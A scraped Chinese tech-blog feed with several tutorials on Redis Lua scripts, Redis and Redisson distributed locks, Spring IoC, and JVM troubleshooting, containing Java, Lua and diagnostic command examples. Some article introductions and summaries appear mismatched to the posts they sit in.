实现可重入分布式锁：

-- 加锁脚本
local key = KEYS[1]
local threadId = ARGV[1]
local expireTime = tonumber(ARGV[2])

-- 获取锁的当前值
local currentValue = redis.call('hget', key, threadId)

if currentValue == false then
    -- 锁不存在或不是当前线程的，尝试获取
    local acquired = redis.call('hsetnx', key, threadId, 1)
    if acquired == 1 then
        redis.call('pexpire', key, expireTime)
        return 1
    else
        return 0
    end
else
    -- 锁存在且是当前线程的，重入计数+1
    redis.call('hincrby', key, threadId, 1)
    redis.call('pexpire', key, expireTime)
    return 1
end
@Service
public class ReentrantLockWithLua {
    
    @Autowired
    private StringRedisTemplate redis;
    
    private static final String LOCK_SCRIPT = 
        "local currentValue = redis.call('hget', KEYS[1], ARGV[1]) " +
        "if currentValue == false then " +
        "    local acquired = redis.call('hsetnx', KEYS[1], ARGV[1], 1) " +
        "    if acquired == 1 then " +
        "        redis.call('pexpire', KEYS[1], ARGV[2]) " +
        "        return 1 " +
        "    else " +
        "        return 0 " +
        "    end " +
        "else " +
        "    redis.call('hincrby', KEYS[1], ARGV[1], 1) " +
        "    redis.call('pexpire', KEYS[1], ARGV[2]) " +
        "    return 1 " +
        "end";
    
    private static final String UNLOCK_SCRIPT = 
        "local currentValue = redis.call('hget', KEYS[1], ARGV[1]) " +
        "if currentValue == false then return 0 end " +
        "if tonumber(currentValue) > 1 then " +
        "    redis.call('hincrby', KEYS[1], ARGV[1], -1) " +
        "    return 1 " +
        "else " +
        "    redis.call('del', KEYS[1]) " +
        "    return 1 " +
        "end";
    
    public boolean lock(String key, String threadId, long expireMs) {
        DefaultRedisScript<Long> script = new DefaultRedisScript<>(LOCK_SCRIPT, Long.class);
        Long result = redis.execute(script, Collections.singletonList(key), threadId, String.valueOf(expireMs));
        return result != null && result == 1;
    }
    
    public boolean unlock(String key, String threadId) {
        DefaultRedisScript<Long> script = new DefaultRedisScript<>(UNLOCK_SCRIPT, Long.class);
        Long result = redis.execute(script, Collections.singletonList(key), threadId);
        return result != null && result == 1;
    }
}

三、事务 vs Lua脚本对比

特性事务Lua脚本
原子性命令批量执行脚本整体原子执行
逻辑判断不支持支持
回滚不支持不支持（但可通过逻辑避免）
网络往返减少（批量）极少（一次发送）
复杂度低中高
可维护性好较差（脚本管理）
适用场景简单批量操作需要逻辑判断的原子操作

四、实际应用场景

#

4.1 秒杀系统

-- 秒杀扣减脚本
local stockKey = KEYS[1]
local userKey = KEYS[2]
local userId = ARGV[1]

-- 检查用户是否已购买
local purchased = redis.call('sismember', userKey, userId)
if purchased == 1 then
    return -1  -- 已购买
end

-- 检查库存
local stock = redis.call('get', stockKey)
if not stock or tonumber(stock) <= 0 then
    return 0   -- 库存不足
end

-- 扣减库存并记录用户
redis.call('decr', stockKey)
redis.call('sadd', userKey, userId)

return 1  -- 成功

#

4.2 滑动窗口限流

-- 滑动窗口限流脚本
local key = KEYS[1]
local window = tonumber(ARGV[1])
local limit = tonumber(ARGV[2])
local now = tonumber(ARGV[3])

-- 移除窗口外的记录
redis.call('zremrangebyscore', key, 0, now - window)

-- 获取当前窗口内的请求数
local count = redis.call('zcard', key)
if count >= limit then
    return 0  -- 限流
end

-- 记录本次请求
redis.call('zadd', key, now, now .. ':' .. math.random())
redis.call('expire', key, math.ceil(window / 1000))

return 1  -- 通过

#

4.3 排行榜更新

-- 原子更新排行榜并获取排名
local key = KEYS[1]
local member = ARGV[1]
local score = tonumber(ARGV[2])

-- 更新分数
redis.call('zadd', key, score, member)

-- 获取排名
local rank = redis.call('zrevrank', key, member)

return rank

五、Lua脚本最佳实践

#

5.1 脚本管理

@Configuration
public class LuaScriptConfig {
    
    @Bean
    public Map<String, RedisScript<?>> luaScripts() {
        Map<String, RedisScript<?>> scripts = new HashMap<>();
        
        scripts.put("decreaseStock", 
            new DefaultRedisScript<>(loadScript("lua/decrease_stock.lua"), Long.class));
        
        scripts.put("rateLimit",
            new DefaultRedisScript<>(loadScript("lua/rate_limit.lua"), Long.class));
        
        return scripts;
    }
    
    private String loadScript(String path) {
        try (InputStream is = getClass().getClassLoader().getResourceAsStream(path)) {
            return new String(is.readAllBytes(), StandardCharsets.UTF_8);
        } catch (IOException e) {
            throw new RuntimeException("加载Lua脚本失败: " + path, e);
        }
    }
}

#

5.2 脚本调试

# 使用redis-cli调试Lua脚本
redis-cli --eval script.lua key1 key2 , arg1 arg2

# 注意：逗号分隔KEYS和ARGV

#

5.3 性能注意

Lua脚本执行时：
1. Redis会阻塞其他命令执行（单线程）
2. 脚本执行时间应尽可能短
3. 避免在脚本中执行复杂循环
4. 大数据量操作使用SCAN替代直接遍历

六、总结

场景推荐方案
简单批量写入事务（MULTI/EXEC）
需要条件判断Lua脚本
库存扣减Lua脚本
分布式锁Lua脚本
限流计数Lua脚本
简单转账事务+WATCH

选择建议：

  1. 简单批量操作：使用事务
  2. 需要逻辑判断：使用Lua脚本
  3. 性能敏感：使用Lua脚本（减少网络往返）
  4. 复杂业务：考虑在应用层实现，Redis只做存储

核心要点

  1. 事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别

  2. 事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值

  3. 使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚

  4. 编程式事务在某些场景下比声明式事务更灵活

总结

事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。

]]> Redis Redis 缓存 Spring IoC 容器到底解决了什么 //spring-ioc-rong-qi-dao-di-jie-jue-liao-shi-me/ Spring IoC 容器到底解决了什么

IoC 容器是 Spring 的根基，很多开发者每天在用却未必能说清它解决了什么。从手动 new 对象到依赖注入，这个转变看似简单，却带来了巨大的设计优势。本文从实际使用场景出发，理解依赖注入的价值。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。

核心要点

  1. 依赖注入实现了控制反转，把对象创建的控制权交给容器

  2. 构造器注入优于字段注入，能保证依赖的不可变性和非空性

  3. IoC 容器提供了对象生命周期管理、依赖解析、配置管理等能力

  4. 通过 @Autowired 或 @Resource 注解实现依赖注入，前者按类型，后者按名称

总结

IoC 不仅是一种技术实现，更是一种设计理念。它让代码更易测试、更易维护、更具扩展性。理解 IoC 有助于更好地设计和架构 Spring 应用。

]]> Spring JAVA Spring Redis分布式锁的可靠性 //redis-distributed-lock-reliability/ Redis分布式锁的可靠性

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

一、Redis分布式锁的基本问题

#

1.1 简单SETNX的问题

// 最简单的分布式锁（有问题）
public boolean lock(String key, String value) {
    // SET if Not eXists
    Boolean locked = redis.setnx(key, value);
    if (locked) {
        // 问题1：如果这里程序崩溃，锁永远不会释放
        redis.expire(key, 30);
    }
    return locked;
}

问题：

  1. SETNX和EXPIRE不是原子操作，中间可能崩溃
  2. 没有唯一标识，可能误删别人的锁

#

1.2 改进版（SET NX EX）

// Redis 2.6.12+ 支持原子操作
public boolean lock(String key, String value, int seconds) {
    // SET key value NX EX seconds
    // NX: 只有key不存在时才设置
    // EX: 设置过期时间
    Boolean locked = redis.opsForValue()
        .setIfAbsent(key, value, seconds, TimeUnit.SECONDS);
    return Boolean.TRUE.equals(locked);
}

仍然存在的问题：

  1. 锁超时后业务还没执行完
  2. 主从切换时锁丢失
  3. 不可重入

二、锁超时问题

#

2.1 超时导致的问题

线程A获取锁，过期时间30秒
    │
    ├── 执行业务逻辑（需要40秒）
    │
    ├── 30秒时，锁自动过期
    │       └── 线程B获取锁
    │
    ├── 线程A继续执行（已没有锁）
    │
    └── 线程A执行unlock
            └── 删除了线程B的锁！

#

2.2 解决方案一：唯一标识+Lua删除

public class SafeRedisLock {
    
    @Autowired
    private StringRedisTemplate redis;
    
    private static final String UNLOCK_SCRIPT = 
        "if redis.call('get', KEYS[1]) == ARGV[1] then " +
        "return redis.call('del', KEYS[1]) " +
        "else return 0 end";
    
    public boolean lock(String key, int seconds) {
        String value = UUID.randomUUID().toString();
        Boolean locked = redis.opsForValue()
            .setIfAbsent(key, value, seconds, TimeUnit.SECONDS);
        if (Boolean.TRUE.equals(locked)) {
            // 将value保存到ThreadLocal
            LockContext.set(key, value);
            return true;
        }
        return false;
    }
    
    public void unlock(String key) {
        String value = LockContext.get(key);
        if (value != null) {
            redis.execute(new DefaultRedisScript<>(UNLOCK_SCRIPT, Long.class), 
                Collections.singletonList(key), value);
            LockContext.remove(key);
        }
    }
}

#

2.3 解决方案二：看门狗续期

// Redisson的看门狗机制
public void businessWithLock() {
    RLock lock = redisson.getLock("myLock");
    try {
        // 不指定leaseTime，启用看门狗
        lock.lock();
        
        // 业务逻辑执行很长时间
        doBusiness();
        
    } finally {
        lock.unlock();
    }
}

// 看门狗原理：
// 1. 获取锁后，启动定时任务
// 2. 每隔1/3过期时间续期
// 3. 业务完成解锁后，取消定时任务

#

2.4 解决方案三：业务监控+手动续期

@Service
public class ManualRenewalLock {
    
    @Autowired
    private StringRedisTemplate redis;
    private ScheduledExecutorService executor = Executors.newScheduledThreadPool(10);
    
    public void lockWithRenewal(String key, String value, int expireSeconds) {
        // 获取锁
        Boolean locked = redis.opsForValue()
            .setIfAbsent(key, value, expireSeconds, TimeUnit.SECONDS);
        
        if (!Boolean.TRUE.equals(locked)) {
            throw new RuntimeException("获取锁失败");
        }
        
        // 启动续期任务
        ScheduledFuture<?> future = executor.scheduleAtFixedRate(() -> {
            String script = 
                "if redis.call('get', KEYS[1]) == ARGV[1] then " +
                "return redis.call('expire', KEYS[1], ARGV[2]) " +
                "else return 0 end";
            
            redis.execute(new DefaultRedisScript<>(script, Long.class),
                Collections.singletonList(key), value, String.valueOf(expireSeconds));
        }, expireSeconds / 3, expireSeconds / 3, TimeUnit.SECONDS);
        
        try {
            doBusiness();
        } finally {
            // 取消续期
            future.cancel(false);
            // 释放锁
            unlock(key, value);
        }
    }
}

三、主从切换问题

#

3.1 问题场景

场景：Redis主从架构

1. 客户端A在Master上获取锁
   SET mylock value NX EX 30
   
2. Master还没同步到Slave就宕机

3. Slave提升为新的Master

4. 客户端B在新Master上获取锁
   SET mylock value2 NX EX 30  ← 成功！

结果：客户端A和B同时持有锁！

#

3.2 RedLock算法

Redis作者Antirez提出的RedLock算法：

RedLock需要在多个独立的Redis实例上获取锁：

┌─────────┐  ┌─────────┐  ┌─────────┐  ┌─────────┐  ┌─────────┐
│Redis A  │  │Redis B  │  │Redis C  │  │Redis D  │  │Redis E  │
│:6379    │  │:6380    │  │:6381    │  │:6382    │  │:6383    │
└────┬────┘  └────┬────┘  └────┬────┘  └────┬────┘  └────┬────┘
     │            │            │            │            │
     └────────────┴────────────┼────────────┴────────────┘
                               │
                          客户端尝试在所有节点获取锁

算法步骤：

  1. 获取当前时间戳（毫秒）
  2. 依次在N个Redis实例上尝试获取锁
    • 使用相同的key和value
    • 设置超时时间（如100ms）
    • 如果某个实例获取失败，立即尝试下一个
  3. 计算获取锁的总耗时
  4. 如果成功获取了大多数实例的锁（如5个中获取3个），且总耗时小于锁过期时间，则认为获取锁成功
  5. 如果获取失败，在所有实例上释放锁

#

3.3 Redisson实现RedLock

@Configuration
public class RedLockConfig {
    
    @Bean
    public RedissonRedLock redLock() {
        Config config1 = new Config();
        config1.useSingleServer().setAddress("redis://192.168.1.101:6379");
        RedissonClient redisson1 = Redisson.create(config1);
        
        Config config2 = new Config();
        config2.useSingleServer().setAddress("redis://192.168.1.102:6379");
        RedissonClient redisson2 = Redisson.create(config2);
        
        Config config3 = new Config();
        config3.useSingleServer().setAddress("redis://192.168.1.103:6379");
        RedissonClient redisson3 = Redisson.create(config3);
        
        RLock lock1 = redisson1.getLock("lock");
        RLock lock2 = redisson2.getLock("lock");
        RLock lock3 = redisson3.getLock("lock");
        
        return new RedissonRedLock(lock1, lock2, lock3);
    }
}

@Service
public class RedLockService {
    
    @Autowired
    private RedissonRedLock redLock;
    
    public void doBusiness() {
        try {
            boolean locked = redLock.tryLock(10, 30, TimeUnit.SECONDS);
            if (locked) {
                try {
                    // 执行业务
                } finally {
                    redLock.unlock();
                }
            }
        } catch (InterruptedException e) {
            Thread.currentThread().interrupt();
        }
    }
}

#

3.4 RedLock的争议

Martin Kleppmann（《 Designing Data-Intensive Applications》作者）对RedLock的批评：

  1. 时钟问题：如果客户端时钟偏移，可能导致锁过期判断错误
  2. GC暂停：JVM GC可能导致客户端”假死”，锁已过期但客户端不知道
  3. 网络延迟：获取锁的网络延迟可能影响判断

替代方案：

  • 使用ZooKeeper或etcd（基于CP的系统）
  • 使用数据库悲观锁

四、可重入性问题

#

4.1 问题

// 简单的SETNX锁不可重入
public void methodA() {
    lock("mylock");  // 获取锁成功
    methodB();
    unlock("mylock");
}

public void methodB() {
    lock("mylock");  // 获取锁失败（已经被methodA获取）
    // ...
    unlock("mylock");
}

#

4.2 Redisson的可重入实现

-- 加锁（可重入）
if (redis.call('exists', KEYS[1]) == 0) then
    -- 锁不存在，创建hash
    redis.call('hincrby', KEYS[1], ARGV[2], 1);
    redis.call('pexpire', KEYS[1], ARGV[1]);
    return nil;
end;

if (redis.call('hexists', KEYS[1], ARGV[2]) == 1) then
    -- 锁存在且是当前线程，重入计数+1
    redis.call('hincrby', KEYS[1], ARGV[2], 1);
    redis.call('pexpire', KEYS[1], ARGV[1]);
    return nil;
end;

return redis.call('pttl', KEYS[1]);

key设计：

mylock: {
    "UUID:threadId": 2,  -- 重入计数
}

五、锁的性能优化

#

5.1 锁粒度

// 好的做法：细粒度锁
RLock lock = redisson.getLock("lock:order:" + orderId);

// 不好的做法：粗粒度锁
RLock lock = redisson.getLock("lock:orders");

#

5.2 锁等待策略

// 立即返回
boolean locked = lock.tryLock();

// 等待一段时间
boolean locked = lock.tryLock(10, TimeUnit.SECONDS);

// 阻塞等待（默认）
lock.lock();

#

5.3 分段锁

// 将大锁拆分为多个小锁
public class SegmentLock {
    
    private static final int SEGMENT_COUNT = 16;
    private RLock[] locks;
    
    public SegmentLock(RedissonClient redisson) {
        locks = new RLock[SEGMENT_COUNT];
        for (int i = 0; i < SEGMENT_COUNT; i++) {
            locks[i] = redisson.getLock("segment:lock:" + i);
        }
    }
    
    private RLock getLock(Object key) {
        int index = key.hashCode() & (SEGMENT_COUNT - 1);
        return locks[index];
    }
    
    public void lock(Object key) {
        getLock(key).lock();
    }
    
    public void unlock(Object key) {
        getLock(key).unlock();
    }
}

六、分布式锁对比

特性RedisZooKeeperetcd
一致性APCPCP
性能高中高
可靠性中（需RedLock）高高
实现复杂度低中中
自动释放支持（过期）支持（session）支持（lease）
可重入需自己实现支持需自己实现
顺序性不支持支持支持

七、最佳实践

#

7.1 选择合适的锁实现

场景推荐方案
一般分布式锁Redisson
对一致性要求极高ZooKeeper/etcd
简单场景SET NX EX
防止主从问题RedLock或CP系统

#

7.2 锁使用规范

public class LockBestPractice {
    
    public void safeLock(String lockKey, Runnable business) {
        RLock lock = redisson.getLock(lockKey);
        boolean locked = false;
        
        try {
            // 1. 尝试获取锁，设置超时
            locked = lock.tryLock(10, 30, TimeUnit.SECONDS);
            if (!locked) {
                throw new LockException("获取锁失败: " + lockKey);
            }
            
            // 2. 执行业务
            business.run();
            
        } catch (InterruptedException e) {
            Thread.currentThread().interrupt();
            throw new LockException("获取锁被中断", e);
        } finally {
            // 3. 确保释放锁
            if (locked && lock.isHeldByCurrentThread()) {
                lock.unlock();
            }
        }
    }
}

#

7.3 避免死锁

  1. 设置过期时间：防止程序崩溃导致锁不释放
  2. 使用try-finally：确保解锁
  3. 避免嵌套锁：如果必须，统一获取顺序
  4. 设置等待超时：避免无限等待

八、总结

Redis分布式锁的可靠性要点：

  1. 原子操作：使用SET NX EX或Lua脚本
  2. 唯一标识：防止误删他人锁
  3. 自动续期：看门狗机制防止业务未完成锁过期
  4. 主从问题：考虑RedLock或CP系统
  5. 可重入性：使用Hash结构记录重入计数
  6. 性能优化：控制锁粒度，使用分段锁

核心认识：

  • Redis分布式锁适合大多数场景
  • 对一致性要求极高的场景考虑ZooKeeper/etcd
  • RedLock有争议，谨慎使用
  • 正确的使用方式比选择工具更重要

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis Redis 缓存 内存溢出和内存泄漏排查流程 //nei-cun-yi-chu-he-nei-cun-xie-lou-pai-cha-liu-cheng/ 内存溢出和内存泄漏排查流程

内存溢出和内存泄漏在 Java 项目中并不少见。本文讲排查流程和常见原因。

先看现象，不要急着改参数

JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：

jps -l
top -Hp <pid>
jstat -gcutil <pid> 1000 10
jmap -histo <pid> | head -30

如果是 CPU 高，把线程 id 转成十六进制后，用 jstack 找对应线程：

printf '%x\n' <tid>
jstack <pid> | grep -A 30 '<hexTid>'

GC 日志怎么看

不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。

小白可以怎么练

本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 jmap 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。

]]> JVM JAVA JVM Redis分布式锁Redisson //redis-redisson-distributed-lock/ Redis分布式锁Redisson

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

一、Redisson简介

#

1.1 什么是Redisson

Redisson是一个基于Redis的Java驻内存数据网格（In-Memory Data Grid），提供了：

  • 分布式锁（Lock）
  • 分布式集合（Map, Set, List）
  • 分布式对象（Object, Bucket, AtomicLong）
  • 分布式服务（Remote Service, Live Object Service）
  • 分布式并发工具（Semaphore, CountDownLatch）

#

1.2 引入依赖

<dependency>
    <groupId>org.redisson</groupId>
    <artifactId>redisson-spring-boot-starter</artifactId>
    <version>3.23.5</version>
</dependency>

#

1.3 配置连接

# application.yml
spring:
  redis:
    redisson:
      config: |
        singleServerConfig:
          address: "redis://localhost:6379"
          password: null
          database: 0
          connectionMinimumIdleSize: 10
          connectionPoolSize: 64
          idleConnectionTimeout: 10000
          connectTimeout: 10000
          timeout: 3000
          retryAttempts: 3
          retryInterval: 1500
// Java配置方式
@Configuration
public class RedissonConfig {
    
    @Bean
    public RedissonClient redissonClient() {
        Config config = new Config();
        config.useSingleServer()
            .setAddress("redis://localhost:6379")
            .setConnectionPoolSize(64)
            .setConnectionMinimumIdleSize(10);
        
        return Redisson.create(config);
    }
}

二、可重入锁（Reentrant Lock）

#

2.1 基本使用

@Service
public class OrderService {
    
    @Autowired
    private RedissonClient redisson;
    
    public void createOrder(Long userId) {
        RLock lock = redisson.getLock("lock:order:" + userId);
        
        try {
            // 尝试获取锁，最多等待10秒，锁30秒后自动释放
            boolean locked = lock.tryLock(10, 30, TimeUnit.SECONDS);
            
            if (locked) {
                try {
                    // 执行业务逻辑
                    doCreateOrder(userId);
                } finally {
                    lock.unlock();
                }
            } else {
                throw new RuntimeException("获取锁失败");
            }
        } catch (InterruptedException e) {
            Thread.currentThread().interrupt();
            throw new RuntimeException("获取锁被中断");
        }
    }
}

#

2.2 看门狗自动续期

// 不指定leaseTime时，启用看门狗自动续期
public void createOrderWithWatchdog(Long userId) {
    RLock lock = redisson.getLock("lock:order:" + userId);
    
    try {
        // 只指定waitTime，不指定leaseTime
        // 获取锁后，看门狗会自动续期（默认30秒过期，每10秒续期）
        boolean locked = lock.tryLock(10, TimeUnit.SECONDS);
        
        if (locked) {
            try {
                // 业务逻辑执行时间可能很长
                // 看门狗会自动续期，避免业务未完成锁就过期
                doLongBusiness(userId);
            } finally {
                lock.unlock();
            }
        }
    } catch (InterruptedException e) {
        Thread.currentThread().interrupt();
    }
}

看门狗机制：

  • 不指定leaseTime时启用
  • 锁默认30秒过期
  • 获取锁成功后，启动定时任务每10秒续期到30秒
  • 业务完成解锁后，取消定时任务

#

2.3 可重入性

@Service
public class BusinessService {
    
    @Autowired
    private RedissonClient redisson;
    
    public void methodA() {
        RLock lock = redisson.getLock("lock:business");
        try {
            lock.lock();
            
            // 同一线程可以再次获取锁（可重入）
            methodB();
            
        } finally {
            lock.unlock();
        }
    }
    
    public void methodB() {
        RLock lock = redisson.getLock("lock:business");
        try {
            lock.lock();  // 可重入，不会死锁
            
            // 执行业务
            
        } finally {
            lock.unlock();  // 需要unlock两次
        }
    }
}

三、公平锁（Fair Lock）

#

3.1 公平锁 vs 非公平锁

// 非公平锁（默认）：抢锁模式，先到的线程不一定先获得锁
RLock nonFairLock = redisson.getLock("lock:order");

// 公平锁：按请求锁的顺序获取
RLock fairLock = redisson.getFairLock("lock:order:fair");

公平锁实现原理：

获取锁时：
1. 检查是否有等待队列
2. 如果有，加入队列尾部等待
3. 释放锁时，通知队列头部的线程

非公平锁：
1. 直接尝试获取锁
2. 获取失败才进入队列

#

3.2 公平锁使用

@Service
public class FairLockService {
    
    @Autowired
    private RedissonClient redisson;
    
    public void processWithFairLock(Long taskId) {
        RLock fairLock = redisson.getFairLock("lock:task:" + taskId);
        
        try {
            fairLock.lock();
            
            try {
                // 按请求顺序处理任务
                processTask(taskId);
            } finally {
                fairLock.unlock();
            }
        } catch (Exception e) {
            throw new RuntimeException("处理失败", e);
        }
    }
}

四、读写锁（ReadWrite Lock）

#

4.1 读写锁特点

RReadWriteLock rwLock = redisson.getReadWriteLock("lock:cache:data");
RLock readLock = rwLock.readLock();
RLock writeLock = rwLock.writeLock();

规则：

  • 读锁：多个线程可同时获取
  • 写锁：独占，其他读/写都阻塞
  • 写锁优先：有写锁等待时，新的读锁阻塞

#

4.2 读写锁使用

@Service
public class CacheService {
    
    @Autowired
    private RedissonClient redisson;
    @Autowired
    private DataMapper dataMapper;
    
    private RReadWriteLock rwLock = redisson.getReadWriteLock("lock:data");
    
    // 读操作
    public Data getData(Long id) {
        RLock readLock = rwLock.readLock();
        try {
            readLock.lock();
            
            // 从缓存获取
            Data data = getFromCache(id);
            if (data != null) {
                return data;
            }
            
            // 从数据库获取
            data = dataMapper.findById(id);
            if (data != null) {
                putToCache(id, data);
            }
            return data;
        } finally {
            readLock.unlock();
        }
    }
    
    // 写操作
    public void updateData(Data data) {
        RLock writeLock = rwLock.writeLock();
        try {
            writeLock.lock();
            
            // 更新数据库
            dataMapper.update(data);
            
            // 更新缓存
            putToCache(data.getId(), data);
        } finally {
            writeLock.unlock();
        }
    }
}

五、信号量（Semaphore）

#

5.1 基本使用

@Service
public class SemaphoreService {
    
    @Autowired
    private RedissonClient redisson;
    
    // 限制并发数为10
    public void limitedAccess() {
        RSemaphore semaphore = redisson.getSemaphore("semaphore:api");
        
        // 初始化信号量（只需执行一次）
        // semaphore.trySetPermits(10);
        
        try {
            // 获取许可
            semaphore.acquire();
            
            try {
                // 执行受限操作
                callExternalAPI();
            } finally {
                // 释放许可
                semaphore.release();
            }
        } catch (InterruptedException e) {
            Thread.currentThread().interrupt();
        }
    }
}

#

5.2 限流场景

@Service
public class RateLimiterService {
    
    @Autowired
    private RedissonClient redisson;
    
    public void apiCall(String clientId) {
        RSemaphore semaphore = redisson.getSemaphore("rate:limit:" + clientId);
        
        // 每秒最多5个请求
        semaphore.trySetPermits(5);
        
        boolean acquired = semaphore.tryAcquire();
        if (!acquired) {
            throw new RateLimitException("请求过于频繁");
        }
        
        try {
            // 执行API调用
            doApiCall();
        } finally {
            // 延迟释放（实现时间窗口）
            ScheduledExecutorService executor = Executors.newSingleThreadScheduledExecutor();
            executor.schedule(() -> semaphore.release(), 1, TimeUnit.SECONDS);
        }
    }
}

六、CountDownLatch

#

6.1 基本使用

@Service
public class ParallelService {
    
    @Autowired
    private RedissonClient redisson;
    
    public void parallelProcess(List<Task> tasks) {
        RCountDownLatch latch = redisson.getCountDownLatch("latch:tasks");
        latch.trySetCount(tasks.size());
        
        for (Task task : tasks) {
            new Thread(() -> {
                try {
                    processTask(task);
                } finally {
                    latch.countDown();
                }
            }).start();
        }
        
        try {
            // 等待所有任务完成
            latch.await();
        } catch (InterruptedException e) {
            Thread.currentThread().interrupt();
        }
        
        System.out.println("所有任务完成");
    }
}

七、RedissonLock原理

#

7.1 加锁Lua脚本

-- 加锁
if (redis.call('exists', KEYS[1]) == 0) then
    redis.call('hincrby', KEYS[1], ARGV[2], 1);
    redis.call('pexpire', KEYS[1], ARGV[1]);
    return nil;
end;

if (redis.call('hexists', KEYS[1], ARGV[2]) == 1) then
    redis.call('hincrby', KEYS[1], ARGV[2], 1);
    redis.call('pexpire', KEYS[1], ARGV[1]);
    return nil;
end;

return redis.call('pttl', KEYS[1]);

参数说明：

  • KEYS[1]: 锁名
  • ARGV[1]: 过期时间（毫秒）
  • ARGV[2]: 线程标识（UUID:threadId）

逻辑：

  1. 锁不存在：创建hash，设置值为1，设置过期时间
  2. 锁存在且是当前线程：重入计数+1，续期
  3. 锁存在且不是当前线程：返回剩余过期时间

#

7.2 解锁Lua脚本

-- 解锁
if (redis.call('hexists', KEYS[1], ARGV[3]) == 0) then
    return nil;
end;

local counter = redis.call('hincrby', KEYS[1], ARGV[3], -1);

if (counter > 0) then
    redis.call('pexpire', KEYS[1], ARGV[2]);
    return 0;
else
    redis.call('del', KEYS[1]);
    redis.call('publish', KEYS[2], ARGV[1]);
    return 1;
end;

逻辑：

  1. 不是自己的锁：返回nil
  2. 重入计数-1，如果还大于0：续期
  3. 重入计数为0：删除锁，发布解锁消息

#

7.3 看门狗续期

// 获取锁后启动定时任务
private void scheduleExpirationRenewal(long threadId) {
    Timeout task = commandExecutor.getConnectionManager().newTimeout(
        timeout -> {
            // 续期Lua脚本
            String script = 
                "if (redis.call('hexists', KEYS[1], ARGV[2]) == 1) then " +
                "redis.call('pexpire', KEYS[1], ARGV[1]); " +
                "return 1; " +
                "end; " +
                "return 0;";
            
            // 执行续期
            // 如果续期成功，递归调用自己，继续定时续期
            // 如果锁已不存在，停止续期
        },
        internalLockLeaseTime / 3,  // 1/3过期时间后续期
        TimeUnit.MILLISECONDS
    );
}

八、最佳实践

#

8.1 锁粒度控制

// 好的做法：锁粒度尽量小
RLock lock = redisson.getLock("lock:order:" + orderId);

// 不好的做法：锁粒度过大
RLock lock = redisson.getLock("lock:all:orders");

#

8.2 锁超时设置

// 根据业务时间设置合理的超时时间
// 太短：业务未完成锁就释放
// 太长：故障时恢复时间长

// 一般业务：30-60秒
lock.tryLock(10, 30, TimeUnit.SECONDS);

// 复杂业务：使用看门狗自动续期
lock.tryLock(10, TimeUnit.SECONDS);

#

8.3 异常处理

public void safeLockOperation(String lockKey, Runnable operation) {
    RLock lock = redisson.getLock(lockKey);
    boolean locked = false;
    
    try {
        locked = lock.tryLock(10, 30, TimeUnit.SECONDS);
        if (!locked) {
            throw new LockException("获取锁失败: " + lockKey);
        }
        
        operation.run();
    } catch (InterruptedException e) {
        Thread.currentThread().interrupt();
        throw new LockException("获取锁被中断", e);
    } finally {
        if (locked && lock.isHeldByCurrentThread()) {
            lock.unlock();
        }
    }
}

九、常见问题

#

9.1 锁不释放

原因：

  • 业务异常导致未执行unlock
  • 进程崩溃

解决：

  • 使用try-finally确保解锁
  • 设置合理的过期时间

#

9.2 锁续期问题

现象：业务执行时间长，锁过期了

解决：

  • 使用看门狗自动续期
  • 或手动设置足够长的过期时间

#

9.3 锁的可见性

问题：一个服务获取的锁，另一个服务能看到吗？

回答：可以，Redisson使用Redis实现分布式锁，所有连接同一个Redis的服务都能看到锁状态。

十、总结

锁类型特点适用场景
可重入锁同线程可多次获取一般分布式锁场景
公平锁按请求顺序获取需要公平性的场景
读写锁读共享写独占读多写少
信号量限制并发数限流
CountDownLatch等待多个任务并行任务同步

Redisson分布式锁的核心优势：

  1. 看门狗续期：自动防止锁过期
  2. 可重入：同线程多次获取不会死锁
  3. 阻塞等待：获取锁失败可以等待
  4. 公平性可选：支持公平和非公平锁
  5. 丰富的并发工具：Semaphore、CountDownLatch等

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis Redis 缓存 线上 CPU 飙高如何定位 Java 问题 //xian-shang-cpu-biao-gao-ru-he-ding-wei-java-wen-ti/ 线上 CPU 飙高如何定位 Java 问题

线上 CPU 飙高是典型的紧急问题。本文讲一套从定位到解决的排查流程。

先看现象，不要急着改参数

